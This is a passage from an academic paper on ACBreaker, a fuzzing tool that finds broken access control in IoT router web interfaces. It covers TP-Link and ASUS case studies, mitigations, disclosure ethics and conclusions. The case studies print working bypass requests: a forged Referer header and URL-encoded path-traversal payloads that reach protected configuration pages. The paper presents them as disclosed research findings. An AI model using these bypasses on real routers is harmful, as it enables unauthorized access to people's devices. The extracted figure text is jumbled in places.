manipulation in the TP-Link router. The vulnerability exists in the router’s device in-
formation query interface /cgi/info. As shown in Figure 12, accessing this interface
directly results in a 403 Forbidden response, indicating that the interface is protected.
During the intelligent firmware analysis phase, ACBreaker extracted the Referer header
value “‘http://tplinkwifi.net’’. Based on this information, ACBreaker utilized muta-
tion rule M11 (header injection) to construct an HTTP request carrying this specific Referer
value. Subsequently, as illustrated in Figure 13, the mutated request successfully evaded
the protected interface and retrieved the device’s configuration information. This case
demonstrates two significant findings. First, ACBreaker’s firmware analysis capabilities
effectively extract critical validation logic. Second, relying on easily forgeable HTTP
headers for access control exemplifies poor security practice, as attackers can arbitrarily
modify these headers.
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GET /cgi/info HTTP/1.1 HTTP/1.1 403 Forbidden
Host: 192.168.0.1 Content-Type: text/html; charset=utf-8
Content-Length: 0 Content-Length: 106
Accept-Language: en Connection: close
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) <html>
Chrome/130.0.6723.70 Safari/537.36 <head> <title>403 Forbidden</title>
Content-Type: text/plain </head>
Accept: */* <body>
Origin: http://27.119.175.170 <center><h1>403 Forbidden</h1>
Accept-Encoding: gzip, deflate, br </center>
Connection: keep-alive </body>
</html>
Request Response

Figure 12. Missing Referer header: Accessing the /cgi/info interface without the critical Referer
header results in a 403 Forbidden response, indicating that the access control mechanism blocks
unauthenticated requests.

GET /cgi/info HTTP/1.1 HTTP/1.1 200 OK

Host: 192.168.0.1 Content-Type: application/javascript; charset=utf-8
Content-Length: 0 Content-Length: 132

Accept-Language: en Connection: keep-alive

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)

AppleWebKit/537.36 (KHTML, like Gecko) var userType="User";
Chrome/130.0.6723.70 Safari/537.36 var bSecured=0;

Content-Type: text/plain var clientLocal=0;

Accept: */* var clientIp="1%*_**Q *x*3_**2";
Origin: http:// 192.168.0.1 var clientMac="00:00:00:00:00:00";
Referer: http://tplinkwifi.net $.ret=0;

Accept-Encoding: gzip, deflate, br

Connection: keep-alive

Request Response

Figure 13. Carrying Referer header: Adding the extracted Referer: http://tplinkwifi.net
header to the request evades the access control mechanism, granting access to the device’s configura-
tion information.

6.5.4. ASUS

ACBreaker discovered a broken access control vulnerability through HTTP path
manipulation in the ASUS router. The vulnerability exists in the router’s configuration
interface /Advanced_DHCP_Content.htm. As shown in Figure 14, accessing this interface
directly triggers a 302 redirect to the login page, indicating that the interface is protected.
The Prober module of ACBreaker identified that the /images/, /js/, and /lang/ directories
were directly accessible without authentication. By combining mutation operators M6
(directory traversal) and M16 (URL encoding transformation), ACBreaker discovered
new evasion vectors by combining these directly accessible directories with traversal
sequences, such as /js/..%2f%2f and /images/..%2f%2e. As illustrated in Figure 15,
these payloads successfully evaded the protected interface, enabling unauthorized access
to the device’s DHCP configuration. This case demonstrates two significant findings.
First, ACBreaker’s mutation-based approach effectively discovers new evasion vectors
beyond known vulnerabilities like CVE-2021-20090 [59]. Second, the vulnerability reveals
systematic weaknesses in path normalization implementations, particularly when handling
URL-encoded traversal sequences.
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GET /Advanced_DHCP_Content.htm HTTP/1.1 HTTP/1.1 302 Found

Host: 192.168.1.1 Date: Thu, 01 Jan 1970 00:29:30 GMT
Accept-Language: en-US,en;q=0.9 Server: httpd 1.0
Upgrade-Insecure-Requests: 1 Pragma: no-cache

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Cache-Control: no-cache
AppleWebKit/537.36 (KHTML, like Gecko) Content-length: 0
Chrome/130.0.6723.70 Safari/537.36 Location: /relogin.htm

Accept: Connection: close

text/html,application/xhtml+xml,application/xml;q=0.9,i
mage/avif,image/webp,image/apng,*/*;q=0.8,application
/signed-exchange;v=b3;q=0.7

Referer: http://192.168.1.1/Advanced_LAN_Content.htm
Accept-Encoding: gzip, deflate, br

Cookie: disableLogout=0; lang=2

Connection: keep-alive

Request Response

Figure 14. Direct access to protected interface: Accessing the /Advanced_DHCP_Content .htm interface
triggers a 302 redirect to the login page /relogin.htm, indicating that the access control mechanism
blocks unauthenticated requests.

GET HTTP/1.1 200 OK
/images/..%2f%2e/Advanced_DHCP_Content.htm Date: Thu, 01 Jan 1970 00:25:00 GMT
HTTP/1.1 Server: httpd 1.0

Host: 192.168.1.1 Pragma: no-cache

Accept-Language: en-US,en;q=0.9 Cache-Control: no-cache
Upgrade-Insecure-Requests: 1 Content-type: text/html

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Connection: close
AppleWebKit/537.36 (KHTML, like Gecko)

Chrome/130.0.6723.70 Safari/537.36

Accept: oo
text/html,application/xhtml+xml,application/xml;q=0.9,i ]
mage/avif,image/webp,image/apng,*/*;q=0.8,application 1
/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Cookie: disableLogout=0; lang=2
Connection: keep-alive

92.168.1.2

Request Response
Figure 15. Evasion based on HTTP path manipulation: Using the mutation payload

/images/ . .%2f%2e/Advanced_DHCP_Content.htm, the device evaded the access control mechanism,
returning a valid DHCP configuration response.

7. Discussion and Limitations

Are there ethical concerns in this research? We prioritized ethical responsibilities
and security implications throughout our research. We followed a responsible disclosure
process for all broken access control vulnerabilities discovered in this study by promptly
reporting these issues to the relevant device manufacturers. To date, Netgear, TP-Link, D-
Link, Redmi, and Xiaomi have confirmed these vulnerabilities and assigned CVE identifiers
to six affected devices. Furthermore, to ensure the legitimacy of our research, all test devices
were commercially purchased through legitimate channels, and testing was conducted
strictly within a controlled laboratory environment. We have also confirmed that the
manufacturers have patched the vulnerabilities detailed in our case studies. The ACBreaker
source code will be released only after all 10 affected devices receive security patches
(currently 6/10 patched). Access will be restricted to verified academic researchers through
institutional email verification and PI authorization. This controlled release mechanism,
combined with technical safeguards against automated exploitation, ensures research
reproducibility while preventing potential misuse.

How to mitigate the security impact of broken access control vulnerabilities on
protected interfaces? Based on our in-depth analysis of access control implementation in
IoT device web interfaces, we found that broken access control vulnerabilities in protected
interfaces mainly stem from imperfect path parsing mechanisms and inadequate handling
of HTTP protocol nuances. At the design level, device manufacturers should abandon
the flawed “security through obscurity” practice. In particular, they should avoid relying
solely on parameter hiding (e.g., the rsa_pubkey parameter as shown in Section 6.5.1) or on
HTTP headers that can be easily forged (e.g., Referer validation as shown in Section 6.5.3)
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as the primary means of access control. Instead, they should implement strict session-based
access control, ensuring that each protected interface undergoes complete authentication
and authorization checks.

At the implementation level, devices should establish a unified path normalization
processing module to ensure that all URL paths are standardized before being evaluated by
the access control mechanisms, particularly focusing on normalizing special cases such as
URL-encoded characters and path traversal sequences (e.g., ../as shown in Section 6.5.4).
Additionally, developers should strictly adhere to HTTP protocol specifications, performing
comprehensive security validation of all request components, including detailed parsing of
request methods, headers, and parameters to prevent injection attacks from undermining
the integrity of the access control logic. Furthermore, we recommend that manufacturers
integrate the ACBreaker into their IoT device development processes. This integration
would systematically evaluate web interface access control mechanisms prior to release,
thereby enabling early detection and remediation of potential vulnerabilities.

Are the proposed mutation strategies sufficiently comprehensive? When designing
ACBreaker, our research scope focused on fuzzing access control mechanisms in protected
interfaces based on the HTTP protocol. This scope selection was based on two key factors:
first, HTTP is the primary protocol for IoT device web management interfaces [60]; sec-
ond, HTTP-based access control typically functions separately from other authentication
mechanisms (e.g., NFC, Bluetooth handshakes, or cloud-based OAuth). Our experimental
evaluation confirmed the effectiveness of this approach in discovering broken access con-
trol vulnerabilities within this scope. Although our mutation operators primarily target
HTTP-based interface access control mechanisms, the underlying design principles are
broadly applicable and can be extended to other protocols as needed. Security researchers
can develop and add new mutation operators based on specific testing requirements while
maintaining the same objectives, thereby enhancing the efficiency of access control security
testing for protected interfaces.

Why use code slicing instead of RAG technology? In handling firmware code that
exceeds the LLM context window, we evaluated two technical approaches: a slicing strat-
egy based on call relationships and Retrieval-Augmented Generation (RAG), the latter of
which utilizes vectorized code data to supplement the context of the LLM. We ultimately
chose the call-relationship-based slicing strategy based on three considerations: First, the
function call relationships, as the core skeleton of program logic flow, effectively preserves
the structural characteristics of the interface-related code. Second, this lightweight slicing
method efficiently handles multi-language hybrid code in IoT firmware. Finally, current
RAG technology shows significant limitations in processing complex code semantics and
cross-file dependencies [61-64], particularly in maintaining completeness when retrieving
parameter parsing and access control logic related to web interfaces, which could lead to
missed potential broken access control vulnerabilities. In contrast, the call-relationship-
based slicing strategy systematically preserves complete call chains of interface processing,
making it more suitable for vulnerability detection scenarios in this research. However, we
also recognize that the call-relationship-based slicing strategy has limitations in handling
configuration file information, which may lead to incomplete parameter constraint extrac-
tion and potentially cause false negatives. In the future, we plan to explore solutions that
integrate configuration file analysis with code slicing to enhance our capability to extract
parameter constraint information.

Future Work. This research conducts an in-depth analysis of access control bypass
vulnerabilities in IoT device interfaces based on HTTP protocols, representing only one
aspect of IoT security. Future research could extend to other widely used IoT protocols,
such as MQTT and UPnP, to comprehensively evaluate the security of IoT devices across
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different communication protocols. Meanwhile, this research demonstrates the potential of
large language models in analyzing heterogeneous firmware code. This capability can be
further applied to assist in detecting other types of vulnerabilities in IoT firmware, such
as command injection and SQL injection vulnerabilities. However, using this methodol-
ogy to a broader range of IoT devices may encounter challenges due to the heterogeneity
of device architectures, firmware types, and communication protocols. Moreover, com-
bined with the latest advances in automatic vulnerability repair, such as the SKYPORT
framework proposed by Youkun Shi et al. [65], future work could automatically generate
corresponding security patches after identifying access control vulnerabilities, thereby
achieving a closed-loop process from vulnerability discovery to repair. This would not only
improve the efficiency of security fixes for IoT devices but also provide manufacturers with
more operational security solutions, ultimately promoting the overall security level of the
IoT ecosystem.

8. Conclusions

In this paper, we present ACBreaker, a novel automated tool designed to detect broken
access control vulnerabilities in the protected interfaces of IoT devices. This tool leverages
the code-understanding capabilities of the LLM to extract device-specific information from
heterogeneous firmware, thereby constraining the fuzzing space. It employs 17 carefully
designed mutation operators to generate effective mutation requests. In the evaluation
of 11 mainstream IoT devices, ACBreaker analyzed 1,274,646 lines of heterogeneous code,
successfully discovering 39 previously unknown vulnerabilities, which affect a total of
508 protected interfaces. These vulnerabilities were categorized into three typical types:
HTTP path manipulation, parameter manipulation, and HTTP header manipulation. We
have responsibly disclosed all identified vulnerabilities to the affected device manufacturers,
with six IoT devices having received CVE IDs and having been fixed. We hope this study
will encourage the community to collectively address the growing security threats related
to access control in IoT device web interfaces.
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IoT Internet of Things
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CaGI Common Gateway Interface
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LLM  Large Language Model
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